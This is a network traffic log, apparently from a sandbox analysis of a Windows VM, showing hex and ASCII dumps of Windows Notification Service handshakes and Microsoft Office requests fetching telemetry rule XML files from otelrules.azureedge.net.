2024-10-30 03:34:15 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-30 03:34:15 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 31 67 76 39 5a 46 56 4f 48 30 36 39 54 73 44 63 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 30 31 36 32 65 33 36 37 32 65 38 37 65 36 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 55 62 56 43 54 75 48 74 7a 50 57 53 33 77 65 55 66 4b 65 43 50 74 69 52 42 6b 53 32 71 4c 63 4f 57 6e 34 31 75 77 78 61 7a 67 56 58 41 64 58 6d 6c 53 46 78 71 50 33 6d 6c 31 67 50 67 78 37 30 70 73 30 31 4f 6a 38 6c 55 76 67 4a 46 7a 67 51 70 39 53 53 6f 59 69 4b 72 67 48 48 31 7a 44 72 77 45 68 74 44 4d 44 2b 73 64 2b 58 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 1gv9ZFVOH069TsDc.2Context: 30162e3672e87e68<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWUbVCTuHtzPWS3weUfKeCPtiRBkS2qLcOWn41uwxazgVXAdXmlSFxqP3ml1gPgx70ps01Oj8lUvgJFzgQp9SSoYiKrgHH1zDrwEhtDMD+sd+X
2024-10-30 03:34:15 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 31 67 76 39 5a 46 56 4f 48 30 36 39 54 73 44 63 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 30 31 36 32 65 33 36 37 32 65 38 37 65 36 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 1gv9ZFVOH069TsDc.3Context: 30162e3672e87e68<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-30 03:34:16 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-30 03:34:16 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 61 41 33 4f 43 44 51 4c 57 45 57 6a 4a 65 4b 47 56 37 61 68 6f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: aA3OCDQLWEWjJeKGV7ahoA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:16 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:16 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033416Z-16849878b78p8hrf1se7fucxk800000008dg000000002eqb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:16 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:16 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: bbf1142f-f01e-0085-589b-2788ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033416Z-15b8d89586fvk4kmbg8pf84y8800000008b000000000af1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:16 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:16 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033416Z-16849878b78bjkl8dpep89pbgg0000000670000000007216 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:16 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:16 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033416Z-16849878b7867ttgfbpnfxt44s00000007c0000000007e0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:16 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:16 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:16 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 91249574-801e-0078-3dc7-27bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033416Z-17c5cb586f6wnfhvhw6gvetfh400000006y0000000008zwc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:16 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:17 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:17 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033417Z-16849878b786lft2mu9uftf3y400000008p000000000n2rb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:17 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:17 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033417Z-16849878b78qf2gleqhwczd21s00000007qg000000007trb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:17 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:17 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: b80877bf-b01e-0084-28e3-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033417Z-17c5cb586f6hn8cl90dxzu28kw00000007eg00000000fx1u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:17 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:17 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0fe0dd21-c01e-0066-771c-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033417Z-16849878b7867ttgfbpnfxt44s00000007d00000000046a7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:17 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:17 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033417Z-16849878b78nx5sne3fztmu6xc00000008ag00000000t06u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 